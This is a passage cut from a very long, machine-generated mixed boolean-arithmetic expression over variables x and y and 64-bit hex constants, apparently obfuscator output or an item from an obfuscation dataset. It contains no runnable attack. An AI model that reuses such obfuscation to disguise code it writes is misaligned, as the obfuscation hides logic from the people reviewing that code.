0x9e3de1dbaff27723)))|((-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d))+0xe6d36157c789618)-0x3bbdd4b3bfa258d))+0xe6d36157c789618)-0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((-0x3399e33c88a2571)-(((((((((((((((-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d)-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x6f57b7f04844afe)+((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*(-0x3c7bc3b75fe4ee46))+0x3087f1d8b9e35a8d)|((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*(-0x3c7bc3b75fe4ee46))+0x3087f1d8b9e35a8d))*0xab158ca407e708b)))+0x3bbdd4b3bfa258d)-(((((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758))+(((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758)))-0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-(((((-(((((-0x3399e33c88a2571)-(((((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758))+(((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758)))-0x3bbdd4b3bfa258d))+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-((((((((-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d)-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x6f57b7f04844afe)+((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*(-0x3c7bc3b75fe4ee46))+0x3087f1d8b9e35a8d)|((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*(-0x3c7bc3b75fe4ee46))+0x3087f1d8b9e35a8d))*0xab158ca407e708b)))+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-(((((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758))+(((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758)))-0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-0x191e8edfbcf706a3)+0x3bbdd4b3bfa258d)-0xe6d36157c789618)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-(((((((((((((((-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d)-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x6f57b7f04844afe)+((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*(-0x3c7bc3b75fe4ee46))+0x3087f1d8b9e35a8d)|((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*(-0x3c7bc3b75fe4ee46))+0x3087f1d8b9e35a8d))*0xab158ca407e708b)))+0x3bbdd4b3bfa258d)-(((((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758))+(((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758)))-0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-(((((-(((((-0x3399e33c88a2571)-(((((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758))+(((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758)))-0x3bbdd4b3bfa258d))+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-((((((((-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d)-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x6f57b7f04844afe)+((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*(-0x3c7bc3b75fe4ee46))+0x3087f1d8b9e35a8d)|((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*(-0x3c7bc3b75fe4ee46))+0x3087f1d8b9e35a8d))*0xab158ca407e708b)))+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-(((((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758))+(((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758)))-0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-0x191e8edfbcf706a3)+0x3bbdd4b3bfa258d)-0xe6d36157c789618)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((((-0x3399e33c88a2571)-((((-0x3399e33c88a2571)-((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d))+0xe6d36157c789618)-0x3bbdd4b3bfa258d))+0xe6d36157c789618)-0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)-(((((-0x3399e33c88a2571)-(((((((((((((((-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d)-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x6f57b7f04844afe)+((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*(-0x3c7bc3b75fe4ee46))+0x3087f1d8b9e35a8d)|((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*(-0x3c7bc3b75fe4ee46))+0x3087f1d8b9e35a8d))*0xab158ca407e708b)))+0x3bbdd4b3bfa258d)-(((((((((((y*0xab158ca407e708b)+0x3